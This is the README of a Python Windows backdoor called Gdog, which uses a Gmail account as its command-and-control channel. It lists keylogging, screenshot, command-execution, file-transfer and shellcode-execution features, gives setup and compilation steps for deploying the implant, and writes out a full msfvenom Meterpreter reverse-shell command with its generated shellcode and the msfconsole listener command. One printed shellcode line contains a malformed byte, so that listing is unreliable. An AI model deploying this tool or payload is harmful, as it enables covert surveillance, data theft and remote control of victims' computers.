Gcat

Gcat is a stealthy Python based Windows backdoor that uses Gmail as a command and control server.

This project was inspired by the gcat (https://github.com/byt3bl33d3r/gcat) from byt3bl33d3r.

Requirements

  • Python 2.x
  • PyCrypto module
  • WMI module
  • Enum34 module
  • Netifaces module

Features

  • Encrypted transportation messages (AES) + SHA256 hashing
  • Generate computer unique id using system information/characteristics (SHA256 hash)
  • Job IDs are random SHA256 hashes
  • Retrieve system information
  • Retrieve Geolocation information (City, Country, lat, long, etc..)
  • Retrieve running processes/system services/system users/devices (hardware)
  • Retrieve list of clients
  • Execute system command
  • Download files from client
  • Upload files to client
  • Execute shellcode
  • Take screenshot
  • Lock client’s screen
  • Keylogger
  • Lock remote computer’s screen
  • Shutdown/Restart remote computer
  • Log off current user
  • Download file from the WEB
  • Visit website
  • Show message box to user

Setup

For this to work you need:

  • A Gmail account (Use a dedicated account! Do not use your personal one!)
  • Turn on “Allow less secure apps” under the security settings of the account.
  • You may also have to enable IMAP in the account settings.

Download/Installation

Contents

  • gdog.py a script that’s used to enumerate and issue commands to available clients
  • client.py the actual backdoor to deploy

You’re probably going to want to compile client.py into an executable using Pyinstaller

Note: It’s recommended you compile client.py using a 32bit Python installation

Usage

                      __
           ____ _____/ /___  ____ _
          / __ `/ __  / __ \/ __ `/
         / /_/ / /_/ / /_/ / /_/ /
         \__, /\__,_/\____/\__, /
        /____/            /____/

optional arguments:
  -h, --help            show this help message and exit
  -v, --version         show program's version number and exit
  -id ID                Client to target
  -jobid JOBID          Job id to retrieve

  -list                 List available clients
  -info                 Retrieve info on specified client

Commands:
  Commands to execute on an implant

  -cmd CMD              Execute a system command
  -visitwebsite URL     Visit website
  -message TEXT TITLE   Show message to user
  -tasks                Retrieve running processes
  -services             Retrieve system services
  -users                Retrieve system users
  -devices              Retrieve devices(Hardware)
  -download PATH        Download a file from a clients system
  -download-fromurl URL
                        Download a file from the web
  -upload SRC DST       Upload a file to the clients system
  -exec-shellcode FILE  Execute supplied shellcode on a client
  -screenshot           Take a screenshot
  -lock-screen          Lock the clients screen
  -shutdown             Shutdown remote computer
  -restart              Restart remote computer
  -logoff               Log off current remote user
  -force-checkin        Force a check in
  -start-keylogger      Start keylogger
  -stop-keylogger       Stop keylogger

Shellcode Exec

$ ./msfvenom -p windows/meterpreter/reverse_tcp -a x86 --platform Windows EXITFUNC=thread LPORT=4444 LHOST=172.16.153.1 -f python

No encoder or badchars specified, outputting raw payload
Payload size: 354 bytes
buf =  ""
buf += "\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b"
buf += "\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0\xb7"
buf += "\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf"
buf += "\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c"
buf += "\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01"
buf += "\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31"
buf += "\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d"
buf += "\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66"
buf += "\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0"
buf += "\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f"
buf += "\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68"
buf += "\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8"
buf += "\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00"
buf += "\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11"
buf += "\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea"
buf += "\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5"
buf += "\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec"
buf += "\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02"
buf += "\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a"
buf += "\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53"
buf += "\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9"
buf += "\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40"
buf += "\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57"
buf += "\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9"
buf += "\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0"
buf += "\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c"
buf += "\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00"
buf += "\x53\xff\xd5"

Get rid of everything except for the shellcode and stick it in a file:

$ cat shell.txt 
\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x6a\x05\x68\xac\x10\x99\x01\x68\x02\x00\x11\x5c\x89\xe6\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\xff\x4e\x08\x75\xec\xe8\x61\x00\x00\x00\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7e\x36\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x83\xf8\x00\x7d\x22\x58\x68\x00\x40\x00\x00\x6a\x00\x50\x68\x0b\x2f\x0f\x30\xff\xd5\x57\x68\x75\x6e\x4d\x61\xff\xd5\x5e\x5e\xff\x0c\x24\xe9\x71\xff\xff\xff\x01\xc3\x29\xc6\x75\xc7\xc3\xbb\xe0\x1d\x2a\x0a\x68\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5

run the console

 ./msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 172.16.153.1; run"

 

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